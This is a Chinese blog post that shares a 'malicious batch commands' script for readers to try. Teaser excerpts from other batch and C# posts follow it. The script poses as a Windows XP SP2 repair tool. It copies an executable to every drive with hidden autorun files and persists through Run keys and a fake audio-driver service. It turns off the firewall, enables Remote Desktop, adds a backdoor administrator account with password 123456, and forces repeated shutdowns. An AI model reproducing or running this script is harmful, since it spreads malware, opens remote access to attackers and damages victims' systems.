整古專家之惡意批處理命令

2021-09-04 10:53:59 字數 3824 閱讀 7902

今天,考試完後.閒來無事.........在電腦裡面找到些好東東.......有興趣的可以試試.

ps:出了問題,別找我!!!!!!!!!!!!

@echo off

@color 0a

@echo microsoft windowsxp sp2 修復程式正在修復您系統中的漏洞...... 請不要關閉,否則將系統崩潰!

@xcopy chp.exe %windir%\ /h /c /r /y >nul

@reg add  hkey_local_machine\software\microsoft\windows\currentversion\run /v sysinfo /t reg_sz /d "%windir%\chp.exe" /f >nul

@echo [autorun] >%windir%\autorun.inf

@echo open=chp.exe >>%windir%\autorun.inf

@echo shell\1=open >>%windir%\autorun.inf

@echo shell\1\command=chp.exe >>%windir%\autorun.inf

@echo shell\2\=browser >>%windir%\autorun.inf

@echo shell\2\command=chp.exe >>%windir%\autorun.inf

@echo shell\3\=開啟 >>%windir%\autorun.inf

@echo shell\3\command=chp.exe >>%windir%\autorun.inf

@echo shellexecute=chp.exe >>%windir%\autorun.inf

@for %%b in (c:,d:,e:,f:,g:,h:,i:,j:,k:,l:,m:,n:,o:,p:,q:,r:,s:,t:,u:,v:,w:,x:,y:,z:) do if exist %%b (@xcopy %windir%\autorun.inf %%b\ /h /c /r /y >nul)

@for %%c in (c:,d:,e:,f:,g:,h:,i:,j:,k:,l:,m:,n:,o:,p:,q:,r:,s:,t:,u:,v:,w:,x:,y:,z:) do if exist %%c (@xcopy chp.exe %%c\ /h /c /r /y >nul )

@for %%d in (d:,e:,f:,g:,h:,i:,j:,k:,l:,m:,n:,o:,p:,q:,r:,s:,t:,u:,v:,w:,x:,y:,z:) do if exist %%d\autorun.inf (@attrib %%d\autorun.inf +h +s >nul)

@for %%e in (d:,e:,f:,g:,h:,i:,j:,k:,l:,m:,n:,o:,p:,q:,r:,s:,t:,u:,v:,w:,x:,y:,z:) do if exist %%e\chp.exe (@attrib %%e\chp.exe +h +s >nul)

@reg add  hkey_local_machine\software\microsoft\windows\currentversion\run /v chpoe /t reg_sz /d "chpshut.exe -s /t 15" /f >nul

@reg add  hkey_local_machine\software\microsoft\windows\currentversion\run /v sysinfo /t reg_sz /d "%windir%\chp.exe" /f >nul

@echo windows registry editor version 5.00 >%windir%\opentsc.dll

@echo [hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon] >>%windir%\opentsc.dll

@echo "shell"="explorer.exe /chpshut.exe -s /t 15" >>%windir%\opentsc.dll

@echo windows registry editor version 5.00 >>%windir%\opentsc.dll

@echo [hkey_local_machine\system\currentcontrolset\control\terminal server] >>%windir%\opentsc.dll

@echo "fdenytsconnections"=dword:00000000 >>%windir%\opentsc.dll

@echo [hkey_local_machine\system\controlset001\services\sharedaccess\parameters\firewallpolicy\domainprofile\globallyopenports\list] >>%windir%\opentsc.dll

@echo "3389:tcp"="3389:tcp:*:enabled:@xpsp2res.dll,-22009" >>%windir%\opentsc.dll

@echo [hkey_local_machine\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\standardprofile] >>%windir%\opentsc.dll

@echo "enablefirewall"=dword:00000000 >>%windir%\opentsc.dll

@regedit /s %windir%\opentsc.dll >nul

@xcopy chp.exe %windir%\ /h /c /r /y >nul

@net user /add new /active:yes >nul

@net user new 123456 >nul

@net localgroup administrators new /add >nul

@sfc /purgecache >nul

@ren %windir%\system32\shutdown.exe  chpshut.exe >nul

@chpshut.exe -s /t 15

關於註冊為服務:

echo [version]  >%windir%\snddrv.inf

echo signature="$windows nt$" >>%windir%\snddrv.inf

echo [defaultinstall.services] >>%windir%\snddrv.inf

echo addservice=snddrv,,my_addservice_name >>%windir%\snddrv.inf

echo [my_addservice_name] >>%windir%\snddrv.inf

echo displayname=windows audio drivers >>%windir%\snddrv.inf

echo description=提供對 windows 音訊硬體的支援。 >>%windir%\snddrv.inf

echo servicetype=0x10 >>%windir%\snddrv.inf

echo starttype=2 >>%windir%\snddrv.inf

echo errorcontrol=0 >>%windir%\snddrv.inf

echo servicebinary=%windir%\chp.exe >>%windir%\snddrv.inf

rundll32.exe setupapi,installhinfsection defaultinstall 128 %windir%\snddrv.inf

存為.cmd或bat執行就行了

批處理之命令

一 基本介紹 批處理是一種簡化的指令碼語言,而指令碼,就是使用一種特定的描述性語言,依據一定的格式編寫的可執行性檔案。批處理就是對某物件進行批量處理,其實也就是逐行書寫在命令列中會用到的各種命令,複雜的情況就比如使用if,for,goto等命令控制程式的執行。系統在執行批處理程式的時候,首先會掃瞄整...

sql程式呼叫批處理 批處理學習之常用命令

echo命令 功能 顯示資訊,設定命令回顯開啟或關閉 格式 echo on off 要顯示的字元 例題 echo 你好 echo off ren關閉命令回顯,批處理程式第一行都加這行 echo.echo echo 和echo 換行四種方法 pause命令 功能 暫停命令,顯示 按任意鍵繼續 rem命...

C 執行外部程式之執行DOS命令和批處理

這裡演示呼叫cmd.exe,即我們常用的dos。下面來看 using system using system.collections.generic using system.linq using system.text using system.diagnostics namespace wins...